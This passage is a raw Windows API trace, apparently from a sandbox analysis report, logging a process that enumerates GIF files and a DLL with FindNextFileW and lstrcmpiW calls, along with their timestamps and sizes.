nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21327_.GIF", cAlternateFileName="")) returned 1 [0097.675] lstrcmpiW (lpString1="BD21327_.GIF", lpString2=".") returned 1 [0097.675] lstrcmpiW (lpString1="BD21327_.GIF", lpString2="..") returned 1 [0097.675] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29305e00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29305e00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x131, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21329_.GIF", cAlternateFileName="")) returned 1 [0097.675] lstrcmpiW (lpString1="BD21329_.GIF", lpString2=".") returned 1 [0097.675] lstrcmpiW (lpString1="BD21329_.GIF", lpString2="..") returned 1 [0097.675] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x259cd700, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x259cd700, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21331_.GIF", cAlternateFileName="")) returned 1 [0097.675] lstrcmpiW (lpString1="BD21331_.GIF", lpString2=".") returned 1 [0097.675] lstrcmpiW (lpString1="BD21331_.GIF", lpString2="..") returned 1 [0097.675] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20d82300, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x20d82300, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21333_.GIF", cAlternateFileName="")) returned 1 [0097.675] lstrcmpiW (lpString1="BD21333_.GIF", lpString2=".") returned 1 [0097.675] lstrcmpiW (lpString1="BD21333_.GIF", lpString2="..") returned 1 [0097.675] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d449c00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1d449c00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x3cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21335_.GIF", cAlternateFileName="")) returned 1 [0097.675] lstrcmpiW (lpString1="BD21335_.GIF", lpString2=".") returned 1 [0097.675] lstrcmpiW (lpString1="BD21335_.GIF", lpString2="..") returned 1 [0097.675] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c136f00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1c136f00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21337_.GIF", cAlternateFileName="")) returned 1 [0097.675] lstrcmpiW (lpString1="BD21337_.GIF", lpString2=".") returned 1 [0097.675] lstrcmpiW (lpString1="BD21337_.GIF", lpString2="..") returned 1 [0097.675] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19b11500, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x19b11500, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21339_.GIF", cAlternateFileName="")) returned 1 [0097.675] lstrcmpiW (lpString1="BD21339_.GIF", lpString2=".") returned 1 [0097.675] lstrcmpiW (lpString1="BD21339_.GIF", lpString2="..") returned 1 [0097.675] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d01a600, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbce14f00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8d01a600, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x10a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21342_.GIF", cAlternateFileName="")) returned 1 [0097.675] lstrcmpiW (lpString1="BD21342_.GIF", lpString2=".") returned 1 [0097.675] lstrcmpiW (lpString1="BD21342_.GIF", lpString2="..") returned 1 [0097.676] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d01a600, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbce14f00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8d01a600, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21343_.GIF", cAlternateFileName="")) returned 1 [0097.676] lstrcmpiW (lpString1="BD21343_.GIF", lpString2=".") returned 1 [0097.676] lstrcmpiW (lpString1="BD21343_.GIF", lpString2="..") returned 1 [0097.676] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32d300, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8e32d300, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21344_.GIF", cAlternateFileName="")) returned 1 [0097.676] lstrcmpiW (lpString1="BD21344_.GIF", lpString2=".") returned 1 [0097.676] lstrcmpiW (lpString1="BD21344_.GIF", lpString2="..") returned 1 [0097.676] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52007200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x52007200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21364_.GIF", cAlternateFileName="")) returned 1 [0097.676] lstrcmpiW (lpString1="BD21364_.GIF", lpString2=".") returned 1 [0097.676] lstrcmpiW (lpString1="BD21364_.GIF", lpString2="..") returned 1 [0097.676] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52007200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x52007200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21365_.GIF", cAlternateFileName="")) returned 1 [0097.676] lstrcmpiW (lpString1="BD21365_.GIF", lpString2=".") returned 1 [0097.676] lstrcmpiW (lpString1="BD21365_.GIF", lpString2="..") returned 1 [0097.676] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52007200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x52007200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21366_.GIF", cAlternateFileName="")) returned 1 [0097.676] lstrcmpiW (lpString1="BD21366_.GIF", lpString2=".") returned 1 [0097.676] lstrcmpiW (lpString1="BD21366_.GIF", lpString2="..") returned 1 [0097.676] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88d68800, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x88d68800, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21375_.GIF", cAlternateFileName="")) returned 1 [0097.676] lstrcmpiW (lpString1="BD21375_.GIF", lpString2=".") returned 1 [0097.676] lstrcmpiW (lpString1="BD21375_.GIF", lpString2="..") returned 1 [0097.676] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a07b500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8a07b500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21376_.GIF", cAlternateFileName="")) returned 1 [0097.676] lstrcmpiW (lpString1="BD21376_.GIF", lpString2=".") returned 1 [0097.676] lstrcmpiW (lpString1="BD21376_.GIF", lpString2="..") returned 1 [0097.676] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a07b500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8a07b500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21377_.GIF", cAlternateFileName="")) returned 1 [0097.676] lstrcmpiW (lpString1="BD21377_.GIF", lpString2=".") returned 1 [0097.676] lstrcmpiW (lpString1="BD21377_.GIF", lpString2="..") returned 1 [0097.676] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb28faf00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb28faf00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21398_.GIF", cAlternateFileName="")) returned 1 [0097.676] lstrcmpiW (lpString1="BD21398_.GIF", lpString2=".") returned 1 [0097.676] lstrcmpiW (lpString1="BD21398_.GIF", lpString2="..") returned 1 [0097.676] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c0dc00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb3c0dc00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21399_.GIF", cAlternateFileName="")) returned 1 [0097.676] lstrcmpiW (lpString1="BD21399_.GIF", lpString2=".") returned 1 [0097.676] lstrcmpiW (lpString1="BD21399_.GIF", lpString2="..") returned 1 [0097.676] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c0dc00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb3c0dc00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21400_.GIF", cAlternateFileName="")) returned 1 [0097.676] lstrcmpiW (lpString1="BD21400_.GIF", lpString2=".") returned 1 [0097.676] lstrcmpiW (lpString1="BD21400_.GIF", lpString2="..") returned 1 [0097.676] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6b100, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac6b100, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x11f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21421_.GIF", cAlternateFileName="")) returned 1 [0097.676] lstrcmpiW (lpString1="BD21421_.GIF", lpString2=".") returned 1 [0097.676] lstrcmpiW (lpString1="BD21421_.GIF", lpString2="..") returned 1 [0097.677] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6b100, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac6b100, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21422_.GIF", cAlternateFileName="")) returned 1 [0097.677] lstrcmpiW (lpString1="BD21422_.GIF", lpString2=".") returned 1 [0097.677] lstrcmpiW (lpString1="BD21422_.GIF", lpString2="..") returned 1 [0097.677] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf7de00, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbf7de00, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21423_.GIF", cAlternateFileName="")) returned 1 [0097.677] lstrcmpiW (lpString1="BD21423_.GIF", lpString2=".") returned 1 [0097.677] lstrcmpiW (lpString1="BD21423_.GIF", lpString2="..") returned 1 [0097.677] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91c65a00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91c65a00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21433_.GIF", cAlternateFileName="")) returned 1 [0097.677] lstrcmpiW (lpString1="BD21433_.GIF", lpString2=".") returned 1 [0097.677] lstrcmpiW (lpString1="BD21433_.GIF", lpString2="..") returned 1 [0097.677] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91c65a00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbcead480, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91c65a00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21434_.GIF", cAlternateFileName="")) returned 1 [0097.677] lstrcmpiW (lpString1="BD21434_.GIF", lpString2=".") returned 1 [0097.677] lstrcmpiW (lpString1="BD21434_.GIF", lpString2="..") returned 1 [0097.677] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f78700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbcead480, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x92f78700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21435_.GIF", cAlternateFileName="")) returned 1 [0097.677] lstrcmpiW (lpString1="BD21435_.GIF", lpString2=".") returned 1 [0097.677] lstrcmpiW (lpString1="BD21435_.GIF", lpString2="..") returned 1 [0097.677] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5593f900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcead480, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5593f900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21480_.GIF", cAlternateFileName="")) returned 1 [0097.677] lstrcmpiW (lpString1="BD21480_.GIF", lpString2=".") returned 1 [0097.677] lstrcmpiW (lpString1="BD21480_.GIF", lpString2="..") returned 1 [0097.677] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56c52600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcead480, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56c52600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21481_.GIF", cAlternateFileName="")) returned 1 [0097.677] lstrcmpiW (lpString1="BD21481_.GIF", lpString2=".") returned 1 [0097.677] lstrcmpiW (lpString1="BD21481_.GIF", lpString2="..") returned 1 [0097.677] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56c52600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcead480, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56c52600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21482_.GIF", cAlternateFileName="")) returned 1 [0097.677] lstrcmpiW (lpString1="BD21482_.GIF", lpString2=".") returned 1 [0097.677] lstrcmpiW (lpString1="BD21482_.GIF", lpString2="..") returned 1 [0097.677] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ffd9600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbced35e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8ffd9600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21503_.GIF", cAlternateFileName="")) returned 1 [0097.677] lstrcmpiW (lpString1="BD21503_.GIF", lpString2=".") returned 1 [0097.677] lstrcmpiW (lpString1="BD21503_.GIF", lpString2="..") returned 1 [0097.677] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912ec300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbced35e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x912ec300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21504_.GIF", cAlternateFileName="")) returned 1 [0097.677] lstrcmpiW (lpString1="BD21504_.GIF", lpString2=".") returned 1 [0097.677] lstrcmpiW (lpString1="BD21504_.GIF", lpString2="..") returned 1 [0097.677] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912ec300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x912ec300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21505_.GIF", cAlternateFileName="")) returned 1 [0097.677] lstrcmpiW (lpString1="BD21505_.GIF", lpString2=".") returned 1 [0097.677] lstrcmpiW (lpString1="BD21505_.GIF", lpString2="..") returned 1 [0097.677] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b6bd00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb9b6bd00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21518_.GIF", cAlternateFileName="")) returned 1 [0097.677] lstrcmpiW (lpString1="BD21518_.GIF", lpString2=".") returned 1 [0097.678] lstrcmpiW (lpString1="BD21518_.GIF", lpString2="..") returned 1 [0097.678] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbae7ea00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbae7ea00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21519_.GIF", cAlternateFileName="")) returned 1 [0097.678] lstrcmpiW (lpString1="BD21519_.GIF", lpString2=".") returned 1 [0097.678] lstrcmpiW (lpString1="BD21519_.GIF", lpString2="..") returned 1 [0097.678] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbae7ea00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbae7ea00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21520_.GIF", cAlternateFileName="")) returned 1 [0097.678] lstrcmpiW (lpString1="BD21520_.GIF", lpString2=".") returned 1 [0097.678] lstrcmpiW (lpString1="BD21520_.GIF", lpString2="..") returned 1 [0097.678] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8b6500, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbcf1f8a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8b6500, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21533_.GIF", cAlternateFileName="")) returned 1 [0097.678] lstrcmpiW (lpString1="BD21533_.GIF", lpString2=".") returned 1 [0097.678] lstrcmpiW (lpString1="BD21533_.GIF", lpString2="..") returned 1 [0097.678] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8b6500, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbcf1f8a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8b6500, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21534_.GIF", cAlternateFileName="")) returned 1 [0097.678] lstrcmpiW (lpString1="BD21534_.GIF", lpString2=".") returned 1 [0097.678] lstrcmpiW (lpString1="BD21534_.GIF", lpString2="..") returned 1 [0097.678] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8b6500, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbcf1f8a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8b6500, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x12b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21535_.GIF", cAlternateFileName="")) returned 1 [0097.678] lstrcmpiW (lpString1="BD21535_.GIF", lpString2=".") returned 1 [0097.678] lstrcmpiW (lpString1="BD21535_.GIF", lpString2="..") returned 1 [0097.678] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51b201b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BULLETS.DLL", cAlternateFileName="")) returned 1 [0097.678] lstrcmpiW (lpString1="BULLETS.DLL", lpString2=".") returned 1 